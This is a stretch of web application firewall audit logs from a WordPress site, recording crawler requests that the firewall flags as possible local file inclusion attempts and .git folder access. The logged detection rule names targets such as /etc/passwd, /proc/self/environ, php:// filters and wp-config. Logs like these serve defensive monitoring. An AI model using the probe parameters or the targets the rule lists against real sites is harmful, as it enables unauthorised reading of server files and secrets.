{"transaction":{"time":"13/Mar/2026:02:25:20.710208 +0100","transaction_id":"abNnf36c0W8rkQnlo8JScwAAAdg","remote_address":"57.141.20.44","remote_port":43442,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/poppler/cMap/Adobe-Japan1/78ms-RKSJ-V HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"5c38468971952e8533ee1b98223436fb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18360753"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5c38468971952e8533ee1b98223436fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/poppler/cMap/Adobe-Japan1/78ms-RKSJ-V||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":271,"p2":5701,"p3":0,"p4":0,"p5":366,"sr":114,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:25:39.289125 +0100","transaction_id":"abNnklWNXJO_mmQISINY8QAAAUY","remote_address":"65.109.118.212","remote_port":48360,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"66ac7d2bafe8fa53229103aa5627596d","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18360802","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"66ac7d2bafe8fa53229103aa5627596d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":284,"p2":4702,"p3":0,"p4":0,"p5":267,"sr":167,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:25:57.348957 +0100","transaction_id":"abNnpFWNXJO_mmQISINZCQAAAVM","remote_address":"65.109.118.212","remote_port":46890,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/sivaco/node_modules/randombytes/LICENSE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"b6e2ca7658bae42923c50a2ca5993995","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"458782","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <http://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"b6e2ca7658bae42923c50a2ca5993995","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"1503","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"fff[0-9a-d]$\" at UNIQUE_ID. [file \"/usr/share/modsecurity_lws/017_i360_weak_pass.conf\"] [line \"23\"] [id \"77316842\"] [msg \"IM360 WAF: Performance measurement||Method:GET||Perf all:combined=5074, p1=249, p2=4825, p3=0, p4=0, p5=0, sr=146, sw=0, l=0, gc=0||Py scan:4947||Lua scan:||RBL:||RSV:7.71||T:APACHE||Content-Length:0||RBLRulesList:r77211230r77140880||\"] [severity \"NOTICE\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":249,"p2":4825,"p3":0,"p4":0,"p5":362,"sr":146,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:26:39.550571 +0100","transaction_id":"abNnz_GYjQkrq8Uo_EwVTwAAAJc","remote_address":"57.141.20.34","remote_port":53458,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php8.5/include/php/Zend/zend.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"32f7b1ccd23391a191c596fcf9eef405","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"163863"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"32f7b1ccd23391a191c596fcf9eef405","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.5/include/php/Zend/zend.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":5823,"p3":0,"p4":0,"p5":352,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:27:26.545709 +0100","transaction_id":"abNn_vGYjQkrq8Uo_EwWJQAAAJE","remote_address":"57.141.20.34","remote_port":34044,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/viewgif.ps HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"a64495edaf05ee945525d7f5ea659b5a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"426169"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a64495edaf05ee945525d7f5ea659b5a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/viewgif.ps||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":5604,"p3":0,"p4":0,"p5":235,"sr":107,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:27:27.498328 +0100","transaction_id":"abNn__GByT275eeM2ZlIyAAAAQc","remote_address":"57.141.20.1","remote_port":51480,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d2/4e200e54555d5b3689d60f26a7c166074b7c2b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.1","X-Forwarded-Proto":"https","X-Request-Id":"9360b543de7620a2f154c4f1d1d361a3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5111857"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9360b543de7620a2f154c4f1d1d361a3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d2/4e200e54555d5b3689d60f26a7c166074b7c2b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":5557,"p3":0,"p4":0,"p5":309,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:27:40.743491 +0100","transaction_id":"abNoDPGByT275eeM2ZlI1gAAAQk","remote_address":"65.109.118.212","remote_port":34008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"1a2d856c82e6027b73f9e9ad4395572e","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5111925","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"1a2d856c82e6027b73f9e9ad4395572e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":161,"p2":2737,"p3":0,"p4":0,"p5":347,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:28:41.505292 +0100","transaction_id":"abNoScZN6QjCL5T2QIUp3AAAABE","remote_address":"57.141.20.1","remote_port":44238,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/sr/LC_MESSAGES/bash.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.1","X-Forwarded-Proto":"https","X-Request-Id":"d745731998c6d0094bc71988a19a2ebc","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5177454"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d745731998c6d0094bc71988a19a2ebc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr/LC_MESSAGES/bash.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":179,"p2":3845,"p3":0,"p4":0,"p5":294,"sr":91,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:29:43.237734 +0100","transaction_id":"abNohvGByT275eeM2ZlJgwAAAQQ","remote_address":"65.109.118.212","remote_port":49292,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"28ac7113f4f2433865742d1970089fbe","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1802256","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"28ac7113f4f2433865742d1970089fbe","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":266,"p2":4406,"p3":0,"p4":0,"p5":235,"sr":136,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:30:11.361484 +0100","transaction_id":"abNoovGByT275eeM2ZlJqQAAAQ4","remote_address":"57.141.20.5","remote_port":37034,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/DOCS-IETF-BPI2-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.5","X-Forwarded-Proto":"https","X-Request-Id":"24ea605627f95f5a8943a8c28df83a35","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3080267"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"24ea605627f95f5a8943a8c28df83a35","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/DOCS-IETF-BPI2-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":311,"p2":6125,"p3":0,"p4":0,"p5":424,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:30:53.332630 +0100","transaction_id":"abNozB2Dz2AA0AEEU8rOdAAAAEo","remote_address":"57.141.20.19","remote_port":37418,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/zh_SG/LC_MONETARY HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"eb15c50fb6f0180a8ff3604f9c33d893","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1409313"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"eb15c50fb6f0180a8ff3604f9c33d893","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/zh_SG/LC_MONETARY||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":303,"p2":5324,"p3":0,"p4":0,"p5":366,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:31:43.579796 +0100","transaction_id":"abNo_8ZN6QjCL5T2QIUriAAAAAc","remote_address":"65.109.118.212","remote_port":34856,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"b8332629a82f639fc43343e70eecf04b","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1245369","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"b8332629a82f639fc43343e70eecf04b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag 